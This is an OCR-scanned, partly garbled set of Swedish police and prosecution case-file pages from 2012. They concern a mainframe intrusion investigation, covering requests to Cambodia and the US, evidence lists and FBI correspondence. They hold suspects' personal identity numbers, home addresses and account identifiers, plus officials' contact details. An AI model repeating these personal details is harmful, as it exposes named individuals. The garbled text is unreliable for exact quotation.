the Swedish Prosecution Authority, the National Bureau of lnvestigation, the 
Stock:holm Regional Investigation Unit and the Swedish Security Service. 

Suspects 
Two suspects have been detained during part of the preliminary investigation and 
we would appreciate your help with a third one. All suspects are Swedish 
citizens . The third suspect is :  

Family name: SV ARTHOLM WARG 
Forename: Per Gottfrid 
Date of birth: 1 7/ 1 01 1 984 
Sex:  Male 

Gottfrid Svartholm W arg is suspected for a breach of data secrecy to gether 
with others, on numerous occasions during the period J anuary l 20 l O to April 
1 5 , 20 12 .  There has not yet been any application for a detention order. 

Svartholm Warg is international wanted (Interpol file number: 20 1 2/3 1 8024) 
in another case as a result of an imposed sentence of l year imprisonment in 
the Svea Court of Appeal 1 7/04/2009. The diffusion is attached. 

His present location is unknown though we believe that he lives in Phnom 
Penh, Cambodia. See more detailed information in the attached files .  



Request for assistance Gambad ia 1 20709 , 201 3-03- 1 8 1 5 :57 d iarien r: 020 1 -K8 1 864- 1 2  

National Bureau of lnvestigation 12 July 20 1 2  020 1 -K8 1 864- 1 2  

Case details 
Intrusions have been made against, inter alia, a mainframe computer operated 
by a private company, hosting large amounts of personal data/census data from 
the Swedish Tax Agency, including protected personal data, as well as data of 
financial nature. Large amounts of data from the Brrforcement Authority and 
the Police have been accessed as well. 

The accessed data may cause considerable damage to authorities, campanies 
and individuals .  

The intrusion handled by the on-going criminal investigation is probably the 
most serious suffered by Swedish IT -systems linked to public authorities .  

Requested assistance 
Our request cancerns investigative assistance locating the suspected Gottfrid 
Svartholm W arg. Furthermore we would like assistance with surveillance of 
the suspect with the purpose of documenting and analysing his activities, con
tacts and locations . 

In order to locate the suspect, see the attached document with detailed infor
mation. There you can find information about, inter alia, IP-addresses, credit 
card number, driving licence and intelligence information. We have tried to 
collect and analyse information about his specific whereabouts hut we cannot 
come an y further. W e now need your assistance. 

When the suspect has been located the intention of the prosecutor in this case, 
Senior Public Prosecutor Henrik O lin, is to file a Ragatory Request conceming 
a search warrant In addition to the arrest of Svartholm W arg we would like to 
seize his computers, mobile phones, hard drives, other digital storage media 
and personal belongings that can be used as evidence in our case. If necessary 
and if possible Swedish police officers can assist in the house search. 

Confidentiality 
The Swedish investigation is classified as secret according to the Swedish Se
crecy Act, Chapter 1 8 . Furthermore it is handled with extensive confidentiali
ty, due to severe impact on State Administration if the accessed data is used in 
a harmful way. 

There is an urgent need for confidentiality in this case, thus we would be most 
grateful if the execution of this request as weil as the result of i t can be k ep t 
confidential in Cambodia according to your legislation. 



Request for assistance Cambod ia 1 20709 , 20 1 3-03- 1 8 1 5 :57 d iar ienr :  0201 -K8 1 864- 1 2 

National Bureau of lnvestigation 

Annexes 
Detailed information of suspect 
Diffusion 
Photographs 

Kind regards, 

Richard Ahlgren 
National Bureau of Investigation 
Cyber Crime Unit 

Tel : +46 708 4 1  40 87 
richard.ahlgren@polisen.se 

1 2  July 20 1 2  020 1 -K8 1 864- 1 2  

Christer Kågström 
National Bureau of Investigation 
Cyber Crime Unit 

+46 705 90 83 29 
christer .kagstrom@polisen. se 



Övrigt Hand over records ,  201 3-03- 1 9 1 2 :36 d iarienr: 020 1 -K8 1 864- 1 2  

MINISTRY OF INTERIOR 
GENERAL COMMISSARIAT OF NATIONAL POLICE 

CENTRAL DEPARMENT OF SECURITY 
IMMIGRATION DEPARTMENT 

INVESTIGATION AND TECHNICHCAL OFFICE 

HAND OVER RECORDS 

KINGDOM OF CAMBODJA 
NATION RELIGION KING 

� � * �  

' 
""" 

The Department of Cambodia Immigration on . • d-tf)_.� 9.,. �/2.. Time /j;-, :  SO. The Compositions are : 
Hand over by: 

1 -Pol.Brig.Gen: RUN SOVANNA 
2-Pol . Lt. Col : PECH KOSALMUNY 

Receive by: 

Position: Deputy Director Of Immigration Department 

Position: Chief Of lnvestigation and Technical Office. 

l -Mr. CHRISTER KAGSTROM Position: Detective Inspector of National Bureau of 

2-Mr�?Z/.?/(C! _ _  Cf.fd.&if7� . . .  Position ,e::

g

�;/;:;:��:�;�� - - - · ·  

Hand over Mr. SV ARTHOLM WARG PER GOTTTRID Male DOB. Oct 1 7, 1 984 Nationality Sweden, 
to Sweden Police officer. 

� 
The hand over Process ed at: /E) P.-0. . .  'ilie same date. 

Lt. Col : PECH KOSALMUNY 

Recorder 

F 
Maj .  MEAS NIMOL 

1 72 



övrigt Del iveri ng and Receiving Records ,  201 3-03- 1 9 1 3 :37 d iarienr: 020 1 -K8 1 864- 1 2  

Ministry o f  Interior 
General Commissariat 

Central Department of Security 

Counter-Terrorism Department 

Del ivering and Receiving Record 

Kingdom of Cambodia 
Nation Religion King 

At . . . . C.O.�t-k.Tir.r.a.r.as.An!.:O.ep.ru:� . . . . . . . . .  vea r  . . . . . .  2..0..! . . 2 . . . . . . . . . . . . . . . . .  . 
M o nth . . . . S�p..:f::-eo:n:b.lf.. . . . . . .  Date . . . . . . . . . . . . . . . . a6 . . . . . . . . . . . . . . . . . . . . . . . . . Ti m e  . . .  7.:...l..f.A.t1 . . . . . . . . . . . . . . . . . . . . . . . .  . 

By Co m plyi ng with a o rd e r  of M r  . . . . . . . NUOt:Y.l/. . .  N!Jak ... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
Posit i on : . . . :J).tr�.r.. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  i s  J u ric ia  l Polce officer 

components 
A. De l ive r ing pa rty: . L 

1 .  M r  . . . . Co./� . . . Ou/;:..cha:Y.v..�qj . . . . . . Posit io n ::P�uf.LJ . . . :O..lr.e.-cru.t:: . . . . . . . . . . . . . . . . . . 

2.  M r  . . L.f.._ . . . . k.h.o&. . .  f,fy;�(ja: . . . . . . . . . . . . .  Posit ion :J).e-fufj .. O(fiU.. . .-. . . . . . . . . . . . . . . . . . . . . . . . . . . . 
3 .  M r  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  Posit io n :  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 

� 

B. Rece ivi ng p a rty: 

1 .  M r . . . G.h.ti?3.1a::..f<;afj?3fr.o.t11!JL . . . Posit ion : . . .  ;p.e,f�c.lt.J/.� . .  kn.$..p..e.o./rzr .. . . .  . 

2 .  M r.J.u:.p.et: . . . .  B./r;;.(kr!.(.sf.ro/.lr.!.c: . . . . . .  Posit io n :  . . .  f..T: . . '$..�.if.:sspe.cr.fflt.�t .. . . . . 
3 .  M r  . .  Ja&k.r�.Jtw.. . .  f�(l(.!(. . . . . . . . . . . . . . . . . . .  Posit io n :  . . .  t.T.:.f.or�J..Ker . .. . . . . . . . . . . . . . . . . . . . . . . . .  . 

Have d e l ivered a n d  received Evid e n ces  a s  the  fol lowi ng:  

cr.rt, 

·co�� 

1 73 



ecelvlng Records ,  20 1 3-03- 1 9 1 3 :37 Övrigt Del ivering and R 
. .  d iarienr: 020 1 -K8 1 S64_ 1 2 

The Record h a s  
d e l ivered a n d  received 

Del ivering Party 
. 

e n ce N um b e r  33rd, Bes ide the Evi d  
th mgs a nd h ave elided up t i m e  az - . r.:t.t

l1b ove
.
' we h ave n ot 

· · ,, .q. · ·  · · · ·  . . . . . . . . . m the same date.  

Receiveing Party 

t�bJ:��%�� Ju2�k 

1 74 



Item Number 

1 One Paint ing Box 

2 23 DVD movies 

3 News magazine Arena 

4 News magazine Access 

5 News magazine H istorical moments 

6 News magazine Company memories 

7 Comic book ,  Kal le Anka 

8 Art Scetch Book, inc lud ing some notes 

9 Book ,  The U lt imate H itchh i kers Gu ide 

1 O Book ,  Märk Världen 

1 1  Book ,  M icroserfs 

1 2  Book ,  Khmer To Engl ish Dict ionary 

1 3  Book, Aseendandes {The Best Of Bruce Sterl ing)  

14 Book ,  Practical Gambod ian Dict ionary 

1 5  Book, Sverg ies Afrikanska Krig 

1 6  Book ,  The l l l um inatus 

1 7  Book ,  Maeroscape 

1 8  Book ,  Tändstickskungen 

1 9  Book ,  Count Zero 

20 News magazine Språk 

21 · 4 Photos of W o man 

22 Two b irthday cards 

23 Su it Case with a l l  private cloth ing 

2 0 1 2-09-05 
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Evidence Number 

1 Hard Drive Seagate 80 G 
2 Hard Drive H itach i  80 G 
3 USB Stick 
4 USB Stick 
5 USB Stick 
6 Memory Card 
7 Wi reless Access Point 
8 Pärm 
9 3G Dongle W ith Sim Card 

1 0  Modem Zon 
1 1  Sim Card Tele2 
1 2  Plastic Cover belong ing to a Swtich 
1 3  Paper W ith Addresses 
1 4  Bus iness Card 
1 5  Paper From EuroBank 
1 6  Bagage T ag 
1 7  Receipt 
1 8  I Phone 
1 9  Nokia Phone 
20 1 l nvoice For MaeBook 
21 Note Book 
22 Bankbook 
23 Bankbook 
24 Bankbook 
25 Passport 
26 MaeBook 
27 Plastic Cover belonging to a Router 
28 Survei l lance Camera ,  CCTV 

29 1 6  Home Burned CDs 
30 Lock Picking T ools 
3 1  Modem Online 
32 Key 
33 Key 

2 0 1 2-09-05 
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PM Materia l  från Kambodja ,  201 2-09-25 1 4 :22 d iar ienr: 020 1 -K8 1 864-1 2 

Polisen 
Rikskrim inalpol isen 
Christer Kågström 
Krimi nalinspektör 

Material från kambodja 

p 
Datum 

20 1 2-09- 1 9  

Diarienr (åberopas vid korresp) 

K8 1 864- 1 2  

Onsdagen den 5 september 20 1 2  på polisstationen i Phnom Penh gick vi igenom det beslag 
som Kambodjanska polisen gjorde vid sitt tillslag då de arresterade Gottfrid Svartholm 
W arg. 
Eftersom Gottfrid Svartholm W arg var Internationellt efterlyst och inte hade visum för 
fortsatt vistelse i landet skulle han deporteras från Kambodja till Sverige de kommande 
dagarna. Hans tillhörigheter såsom kläder packades ned i en av två plåtlådor. I den andra 
packades det ned material som beslagtogs under husrannsakan. 
Det mesta packades ned i de två plåtboxar med begränsade utrymmen och förtecknades .  
Gottfrid Svartholm W arg fick därefter gå igenom det material som skulle skickas till Sve
rige, förteckning finns). 
Kvar på polisstationen blev tillhörigheter såsom tangentbord, diverse nätverkssladdar, två 
stycken skärmar. Material som vi inte kunde få med oss lämnades därefter på plats. Foton 
finns över material som blev kvar. 

Gottfrid Svartholm W arg blev dessutom informerad att dessa inte kommer att packas ned 
och föras till Sverige utan de kommer att bli kvar på polisstationen. Han hade inga syn
punkter på det. 

Stockholm den 19 september 20 1 2  

Christer Kågström 

l 'OY 



l nqu i ry Canonical preservation 1 20528 , 201 3-03- 1 8 1 6 :08 d iarienr: 020 1 -K8 1 864- 1 2  

1 78 
Datum Diarienr 

National Bureau of Investigation 
Cyber Crime Unit 20 12-05-28 020 1 -K8 1 864- 1 2  

INQUIRY Canonical Ltd Admin 
l Circular Road 
Douglas 
Isle of Man 
IMl lAF 
UNITED KINGDOM 

For use in an investigation we request that you preserve all the stored data on this account: 

UID: Mathias Gustafsson E-mail : luciddream1976@hotmail.com 

Please preserve all data until a signed search warrant from the prosecofor can follow. 

If there are an y problems with supplying aforementioned data or questions regarding the case 
Please contact Richard Ahlgren as soon as possible. 

Y ours sincerly, 

Richard Ahlgren 
Internet Investigator 

+46 708 4 1  40 87 
richard.ahlgren@polisen. se 

Christer Kågström 
Detective Inspector 

+46 705 90 83 29 
christer.kagstrom@rkp.police.se 



l nqu i ry Canon ica l  preservation renewed 1 20828 , 201 3-03- 1 8 1 6 :08 d iarienr: 020 1 -K8 1 864-1 2 

Datum 
1 79 

Diarienr 
National Bureau of Investigation 
Cyber C rim e U nit 20 1 2-08-28 020 1 -K8 1 864- 1 2  

INQUIRY Canonical Ltd Admin 
l Circular Road 
Douglas 
Isle of Man 
IMl l AF 
UNITED KINGDOM 

We would appreciate if you could renew the preservation for the following UbuntoOne 
account: 

UID: Mathias Gustafsson E-mail : luciddream197 6@hotmail.com 

Please preserve all data until a signed search warrant from the prosecutor can follow. 

If there are an y problems with supplying aforementioned data or questions regarding the case 
Please contact Richard Ahlgren as soon as possible. 

Y ours sincerely, 

Richard Ahlgren 
Internet Investigator 

+46 708 4 1  40 87 
richard.ahlgren@polisen.se 

Christer Kågström 
Detective Inspector 

+46 705 90 83 29 
christer.kagstrom@rkp. police. se 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
Orginalhandl ingens förvaringsplats 

I nvolverad personal 

John G Steenmark 
Berättelse 

Övrigt 
Försättsblad svar U b u ntuOne 

Datum 

20 1 3 -03-26 
Funktion 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Tid 

08 :26 

Uppgiftslämnare 

Papper som satt fasthäftat på kuvertet med SD minnet från Ubuntu One. 
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Övrigt Försättsblad svar UbuntuOne, 201 3-03-26 08:26 d iarienr: 020 1 -K8 1 864- 1 2 

Westm inster Magistrates' Cou rt Mutual Assistancc state: Sweden 
Re: Canonical Group Ltd 
Date: 1 8  October 20 1 2 "' 11 f 
Exhibit No:  JL/01 \\/ ( _ 

Witness Exhibit No. 
JL/01 

Description of Exhibit Produced 
One SD card containing infonnation 

requested m1 summans dated 1 4111 
September 20 1 2  in relating to the Ubunto 

One Account with email address 
Produced By (sig�ure) 

.J'uQ.()� �i �--
� Lenton 

Witnessed By (signature) . 

D��y Origin 
Canonical 

1 8 1 



Rättshjä lp pasteb in , 20 1 3-03-27 1 4 :40 d iarienr: 020 1 -K8 1 864- 1 2  

Cover Note for Rogatory Letters - Request for M utual Leg a l  
Ass ista n ce-E U 

Joint Action of 29 J une 1998 adopted by the Council on the basis of Article K.3 of the Treaty on European Union, on good 
practice in mutual legal assistance in criminal matters. (Official Journal L 1 9 1, 0710711998 p. 0001 - 0003) 

REQUEST (To be filled in by requesting authority) 

Case number: AM-52 1 24-1 2  

2�� 
Name( s) of suspect(s): Mathias Gustafsson ,  761 1 1 7-7234 

Kristoffer Smedlund,  800323-4674 
Document ID: 

Authority who can be contacted regarding the request: 
Organization: Swedish Prosecution Place: stockho l  m Country: Sweden 

Authority, 
I nternational  Publ ic 
Prosecution Office 
stockhol m 

Name: Henrik Ol in  Function: Senior Publ ic 
Prosecutor 

Spaken Language: EN 

Telephone number: +46 72 232 69 26 Fax nu m ber: + 46 1 O 562 54 83 E-mail: 

Deadline: As soon as 
possible 

This request is urgent : Yes P/ease execute this request before 
(date): 

henrik.ol in@a 
klagare.se 

As soon as 
possible 

Reasons for deadline: The case is  of Swedish national interest due to the very extensive character of 
the i ntrusion .  The prel iminary investigation involves several Swedish auth o rities such as the Swedish 
Prosecution Authority, the Nationa l  Bureau of l nvestigatio n  (Pol ice) , the Stockholm Regional 
l nvestigation U n it (Pol ice) and the Swedish Security Service (Security Police) . 

Date: J uly 1 0, 201 2  Signature: 
-----------

ACKNOWLEDGEMENT OF REQUEST (To be filled in by the reguested authority) 

Regisfratian number: Date: 

Authority receiving the request 

Organzsation: 

Name: ------------------

Telephone number: 

------------------ -----

Place: Country: 

Function: Spaken Language : 

Fax number: E-mail: 

Authority who can be consulted on the execution of the request: D Same as above D Other, name/y: 

Organization: ------·-------·------ Place: ------···-----
Country: . 

Name: 

Telephone number: 

Deadline: The deadline wi/1 probably 

Function: Spaken Language : 

Fax number: E-mail: 

D Be met D not be met. Reason: 

82 
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Date: --------- Signature: 

P/ease campfete this form and fax it to Fax Number: 

+ 46 1 o 562 54 83 

1 83 



Rättshjä lp pasteb in , 20 1 3-03-27 1 4 :40 d iarienr :  020 1 -K8 1 864- 1 2 

� � . �-l - .:) -Å KLAGARMYNDIG H ET E N  

REQUEST FOR M UTUAL LEGAL ASSISTANCE IN CRIMINAL MATTERS 

Requested authority:  

To the authority cancerned in the United states of America 

via Ministry of Justicel Division for Criminal Ca ses and International Judicia/ Go
operation, 1 03 33 stockho/m 

1 .  Requesting Prosecutor: 

Senior Publ ic  Prosecutor Henrik  O l i n ,  I nternat ional  Publ ic  Prosecut ion Office 
stockho l  m 

Telephone n r : +46 72 232 69 26 

Fax n r: + 46 1 0  562 54 83 

E-mai l  address:  henri k . o l in@aklaga re . se 

Our  Ref: AM-52 1 24- 1 2  

2.  C riminal  i nvestigation is conducted against fol lowing  suspects : 

Gustafsson , Bror Olof Math ias 
1 976 1 1 1 7-7234 
Timmerm ansvägen 1 4  l 
77 1 5 1  L U DVI KA 
SWE D E N  

Smed l u n d ,  Johan Kristoffe r  Robin  
1 9800323-467 4 
Val la  Torg 5 1  
1 20 56 ARSTA 
SWED E N  

3.  Urgency: 

The case is  of  Swedish  nationa l  i nterest due to the very exten sive character of 
the i ntrus ion .  The pre l i m i nary i nvestigat ion i nvalves several Swedish authorit ies 
such as  the Swedish P rosecuti on Authority, the Nati ona l  Bureau of l nvestigatio n  
(Po l ice) ,  the Stockholm Reg iona l l nvestigat ion U n it (Pol ice) and the Swedish 
Secu rity Service (Security Po l ice) . 

4. Appl ied conve ntions and/or agreements :  

1 84 

- Treaty between the G overn ment of the Kingdom of Sweden and the Govern ment of the Un ited 

States of America on Mutua l  Leg a l  Assistance in Cri m i na l  M atters s ig ned 1 7  Decem ber 200 1 . 
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eerrrerrt 01 1 1vn:nuan:ega1 1"\SSIStaiiCe�� ur f'\mcnc;-a ar ru u ro 1 85 

E u ropean U nion sig ned 25 J u ne 2003. 

5. Legal q ual ification of the facts : 

The cri m ina l  offence be i ng i nvestigated is a very serious case of breach of data 
secrecy accord ing to the Swedish Penal  Code Chapter 4 ,  Sect ion 9c. (The legal 
provis ion translated i nto Engl ish is attached to th is  Rogatory Letter. ) 

M r. M ath ias Gustafsson and Mr. Kristoffer Smedlund are suspected for a breach 
of d ata secrecy together with others ,  on numerous occasions d uring the period 
January 1 2 0 1 0 to Apri l 1 5 , 2 0 1 2.  

6.  statement of the facts : 

l ntrus ions have been made against ,  i nter a l i a ,  a ma inframe com puter operated by a private 
company,  h osting  !arg e  amounts of personal  data/census d ata from the Swed ish Tax Agency, 
i n clud ing  protected persona l  data , as wei l  as data of a financia l  nature .  Large amou nts of d ata from 
the Enforcement Autho rity and the Po l ice h ave been accessed as wei l .  Data h ave not on ly been 
accessed , but also extensively copied . 

The accessed d ata may cause considerable damage to a uthorities , compan ies and i ndivid ua ls .  
The i ntrus ion hand led by the  on-go ing cri m i n a l  investigation is probably the  most serious suffered 
by Swed ish !T-system s  l i n ked to pub l ic  authorit ies. 

There i s  strong evidence against especial ly  the suspected Mr.  G ustafsson regard ing his 
partic i patio n  in  the cri m e ,  both i n  com puters seized i n  his residence, as wei l  as on externa!  storage 
areas used by h i m .  

8oth M r. G u stavsson a n d  M r. Smed lund h ave been detai ned d u  ring part of the pre l i m inary 
i nvest igati o n .  

Data accessed d u ri n g  t h e  i ntrusions have been uploaded o n  pastbi n . com . T h e  items u ploaded 
were ; http://paste bi n . com/K5q2 N270 and http://pastbi n . com/5cjzdO n Q .  The data h a s  been 
preserved by Pastb in . co m .  P lease find copies of e-mai ls regard i ng preservat ion attached to th is  
document.  

The Facebook accou nts for Mr. G ustafsson and M r. Smed lund  h ave been identified d uring the 
investig ation as:  www . facebook. com/l u ciddream 1 976 (Gustafsson) and www.facebook. com/snuggl 
(Smed!  und) .  E lectron ic  req uests to preserve Facebook Accou nt regard ing these records have 
been sent to Facebook on May 2 7 ,  20 1 2  ( luc id d rea m 1 976) and M ay 29 ,  201 2 (sn uggl ) .  P lease fi nd 
copies of the requests attached to this document .  

A user  on a m a i l i ng- l ist has had extensive d iscussions with other hackers reg ard ing how to get 
access to the m a i nfram e  co mputer re levant in th is  case. The d iscussed approach is very s imi lar  to 
the actual  intrus ion taking  p lace a short time l ater. The user of our i nterest used a g-mai l  address : 
m a i nframed767@gmai l . co m .  A request for preservation ,  attached to th is  document, has been 
m ade.  

The ana lysis of  the i ntruded ma inframe com p uter makes it evident that an  I P-number con nected to  
a n  U S  inte rn et  service providert h osti ng service has been u sed for part of  the cri m ina l  intrusions,  
inc lud ing extensive copyin g  of sensitive data from the mai nframe com puter. 

l nq u i ries h ave been m ade from the Swedish N at iona l  Bureau of l nvest igat ion/ Cyber Cri me U n it to 
The Dan ish F B I  desk,  please see attached documents.  

The I P-num ber relevant in the investigat ion is :  
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Provider/hosting company/ Admin istrator 
services 

67 . 1 . 1 4 . 1 1 3  QWEST-I N ET- 1 4  Qwest Communications 201 2-03-20, 
C ompany, LLC 1 8 : 1 8 : 53,  
1 80 1  Cal iforn ia Street European/stockholm 
Denver Swedis h time 

7. Requested activities: 

Pastebin 

The req uest for M utual Legal Assistance regard ing Pastebin comprises of information regarding 
two pastes; http://pastebin . com/K5q2N270 and http://pastbin . com/ScjzdOnQ.  T h e  informat ion 
regard ing these pastes has been preserved by Pastebin .com accord ing to the attached documents 
mentioned above. What is the I P-nu m ber (-s) beh ind the upload of these pastes? If there is a 
Pastebin account behind the pastes, l would  l ike to have information regard ing the account owner,  
such as name, address, telephone n u m ber, e-mai l  address and other contact information .  If an 
account was be h ind the relevant pastes, with I P-number was used creating the account? 

Facebook 

My req uest for M utual Legal Assistance consists of subseriber information regarding the Facebook 
accounts for the suspected Mr.  G ustafsson and Mr.  Smedlund accord ing to the attached requests 
of preservat ion .  My request includes: 

• BSI  (Basic S u bseriber Information) includ ing e-mail addresses and l og ins in the l P- log .  
• Content ,  such as pictures, a l l  wal l- informati on and subseribers log . 
• Private m essages. 

G mail/Goog/e 

A req u est (attached to this document) was sent to G oogle lnc. on Apri l  2 ,  20 1 2 . The answer from 
G oog l e  states that the account relates to l P  addresses appearing to be from the Un ited States. 
Thus the fo l l owing information is n ow req uested in th is letter Rogatory. 
The fol lowing information regard ing the G mai l  account mainframed767@gma i l . co m :  

• Account owners (add resses, teleph one, other e-mai l  accounts, bank accounts or oth er 
means of payment,  other contact information) 

• Country from which the account was reg istered 
• I P-add ress used to in itiate the account 
• I P-add resses used to access the account 
• User-agent informati on regard ing each I P-address 
• Dates when the account was reg istered and ,  if appl icable, closed . 

Please n ote that a req uest for preservati on ,  attached to this d ocument,  as mentioned above, has 
been made. 

Other US IP-numbers 

The request for M utual Legal Assistance does also i nclude information regard ing the I P-nu m ber 
l inked to the In ternet Service Providert Hosting Service Qwest C o m m unications Company, LLC , 
p lease see the attached d ocu men ts mentioned above. 

My req uest inc ludes: 

A S ubseriber information , such as address, p h one, bank account for b i l l ing ,  what type of 
service the su bseriber is paying for, the d u rati on of the contract etc. 

B .  I nformation stored by/owned b y  t h e  subseriber o n  t h e  compan ies' servers (if appl icable) . 

6 
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Smedlund on the mentioned internet service providert hosting service regard l ess of l P  
Number l inks. 

7a) Specification of requested activities : 

If relevant data is encountered,  it is i m  portant to u nderl ine that it is the data 
stored (content) in question that is of interest to us . Thus,  there is no need to 
permanently seize the actua l  (physical)  server hosting the data . 

Please download the re levant d ata i n  the way m ost conven ient to you ( U S B ,  
d i s c  etc . ) .  

7b)  L ink between the facts and the requested activities : 

Please see section 6 .  above . 

7c) The activities requested are to be executed as fol lows: 

If the execut ion of the Mutual  Leg a l  Assistance wi l l  be done i n  the d ifferent 
Fede ra l  States l req uest that the coord inat ion between the Federa l  States you 
deem necessary is accompl ished . 

The search is preferably to be executed i n  co-operat ion with representatives 
from the relevant com panies .  N oth ing in the i nvest igat ion suggests that the 
com p a n ies h ave mal ic ious i ntentions in  re latio n  to the stored i nformatio n .  

8)  l nvolved Swedish investigators/others and the i r  presence :  

There is  - from m y  point o f  view - no need for Swedish officia ls being present 
conduct ing the req uest for M utual Lega l  Assistance .  

9) The req uest is confidential for the  fol lowing reasons: 

The Swedish i nvestigatio n  is  handled with extensive confident ia l ity , due to the 
poss i b l e  severe i m pact on state Admin istrat ion if the accessed data is  u sed in a 
harmfu l  way.  

There is an u rgent need for confidentia l ity i n  the case,  thus l wou ld  be m ost 
g ratefu l if the execut ion of the M utual  Leg a l  Assistan ce as wei l  as the reported 
result  sent to Sweden ca n be kept confident ia l  in the U n ited states accord ing to 
your leg is lation . 

1 0. Other i nvolved persons/authorities : 

- EUROJUS T: Mr. Leif Görts , S E  Nationa l  Mem ber, PO Box 1 6 1 83 ,  N L-2500 B D ,  The Hag ue, 

The N ethe rlands,  + 3 1 704 1 2 5243 

- INTERPOL: I nterpo l  Wiesbaden has been contacted by Swedish Pol ice .  

- MLA:s h ave been sent to U K  and Germany as wei l  
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[8] Legisiation 

0 Other 

l - T H E  U N D E RS I G N E D - AM COMPETENT TO AUTH ORIZE THE E Q U IVALENT 
M EAS U RE/S IN SWE D E N .  

Henrik Ol in  
Sen ior  Publ ic Prosecutor 

cc: I nternationa l  Pol ice Cooperat ion Div is ion ( I PO) 
B ox 1 2256 
1 02 26 STOC KHOLM 

1 88 
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The Swedish Penal Code ( 1 962 :700) 

Chapter 4, Section 9c 

A person who, in cases other than those defined in Sections 8 and 9, unlawfully obtains access 
to data intended for automatic data processing or unlawfully alters or erases or blocks or 
inserts such data in a register, shall be sentenced for breach of data security to a fine or 
imprisonment for at most two years. The same applies to any person who unlawfully and 
through another similar measure seriously disturbs or impedes utilization of such data. 

Act (2007 :2 1 3) .  

1 89 
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Richard Ahlgren - SV: Assistance 

Från : "US" <ulrika.s@rkp.police.se> 
Till: "'Dolinar, Shawn R."' <Shawn.Dolinar@ic.fbi.gov> 
Datum: 5/29/20 1 2  1 5 :52 
Ärende: SV:  Assistance 
Kopia: <christer.kagstrom@polisen. se>, <richard. ahlgren@polisen.se> 

Tha n ks for a l l  you h e l p ! 

My co l leagues ,  Ch riste r a n d  Rich a rd w i l l  conti n u e  to i n vest igate t h e  case, a n d  w i i i  fu rt h e r  be the  p o i n t  of 

co ntact i n  t h i s  matter .  

B est rega rds,  

U l r ika 

Från :  Dol inar, Shawn R. [mai lto : Shawn . Dol inar@ic.fb i .gov] 
Skickat: den 29 maj 2012 14:46 
Til l :  US 
Ämne : RE: Assistance 

U l rika, 

We sti l l  have a nother month on the orig ina l  preservation letters. We sent them in on the fol lowing dates : 

March 30, 20 12 - Pastebin .com/K5q2N270 
Apri l 1 3 .  2012 - Pastebi n .com(ScjzdOnQ 
Apri l 1 1 ,  2012 - Qwest 

We can renew them when the dates get doser. Thanks 

Shaw n 
Shawn Dalinar 
Legat Office Capenhagen 453341 7 1 1 2  Desk 
4529346821 Cel l 
646-438-2248 B B  
shawn. do I i  nar@ic. fbi .  go v 

From: US [u lr ika . s@ rkp . po l ice. se] 
Sent: Monday, May 28, 20 12 1 : 28 AM To: Dol inar, Shawn R. 
Subject: Assistance 

H i  Sh awn,  

l hope everyt h i n g  is  w e i l  with you ! 

P lease,  we n e e d  yo u r  h e l p  reg a r d i n g  m a tt e rs i n  t h e  case  n u m ber :  AM-52 124-12;  

l .  We n e ed to re n ew t h e  p re s e rvat ion  req u est reg a rd i n g  t h e  two p a st e b i n  p a stes that  we d i d  ea rl ier  

( P a st e b i n . com/Scjzd O n Q , Past e b i n . com/K5 q 2 N 270 ) .  
I n  th is m atter, t h e  p rosecuto r wa nts to co l lect a l l  req u ests re lated to t h e  case before h e  s e n ds the 

M LAT. So t h at's why it ta kes t ime and i t  is a big  case .  

fi le ://C :\ WINDOW S\Temp\XPGrp W ise\4FC4FOD2 DOM22po25 1 00 1 793 366 1 4COD. . .  20 1 2-07-09 
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Co u l d  yo u p lease h e l p us  rega rd i n g  these preservat ions? 

2 .  Anot h e r  questio n  is rega rd i n g  t h e  l P  a d d ress,  67. 1 . 14. 113 ,  Qwest Com m u n icat ion com pa ny, L LC, 

De nve r. 

Ti me 2012 -03 -20 , 18 : 1 8 : 5 3 ,  E u rope/stockh o l m  Swedish  t i m e  

W a s  i t  su ccessfu l rega rd i n g  t h e  l P  req u est? 

We a re very g ratefu l for a l l  you r  h e l  p rega rd ing t h is cas e !  

P l e a s e  ca l l  m e  i f  you have a ny q u estio n s .  

Rega rds, 

U l rika  

Frå n :  Dol i nar, Shawn R. [mai lto : Shawn . Dol i nar@ic.fbi .gov] 
Skickat: den 30 mars 2012  20 :26 
Til l :  'u l rika .s@rkp . pol ice. se' 
Ämne: Re : L ink 

U l rika, 

We have sent the preservatio n  req u est. You can send the emai l whenever you have i t  ready. P lease let me 
know if you have an y problems. 

Shawn 
Desk 45334 1 7 1 1 2  
Cel l 4529346 8 2 1  

--------------- --- -------------------------- - - -- ---- - ----- ------------ - ----------------

From : Dol inar, Shawn R. 
To: 'u l rika . s@rkp. pol ice . se' < u l ri ka .s@rko.pol ice . se> 
Sent: Fri Mar 30 14 : 14 :23 2012 
Subject: Re : L ink 

U l ri ka ,  

l am g uessing you have heard from An n a .  We fou n d  an emai l  address that the com pany was previously very 
respons ive to i n  the past when this issue h ad occu rred . The on ly  issue was that when they took the p revious 
one down , th ey erased a l l  of the data . So we are going to serve them with a preservation request before you 
emai l  them. This tel ls  them to hold onto the data for 9 0  d ays. 

Once we serve th is ,  we wi l l  tel l  you to emai l  them .  Here is  what you n eed to include in you r  emai l :  
1 .  l t needs t o  b e  i n  E n g l ish 
2 .  A el ear expl anation of who is  making th e req uest 
3 .  A clear explanation of why the i nformation  is abusive 
4. A l i nk  to the co ntent  

Once we serve the preservation letter, l w i l l emai l  you .  Then you can sen d  your  emai l  to the fol lowin g  address : 

Adm i n@pastebin . com 

l wi l l let you know when o u rs is  served . Tha nks 

Shawn 

From : US < u lrika . s@rkp.pol ice.se> 
To: Dol inar, S hawn R. 
Sent: Fri Mar 30 08 : 58 : 34 2012 

file ://C :\ WINDOWS\Temp\XPGrp W ise\4FC4FOD2DOM22po25 1 00 1 79 3 3 66 1 4COD . . .  20 1 2-07-09 
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E lectronic Requests by law Enforcement Officials to Preserve 

Facebook Accou nt Records 

Facebook works with law enforcement a uthorities where requ i red by law and to ensure the 

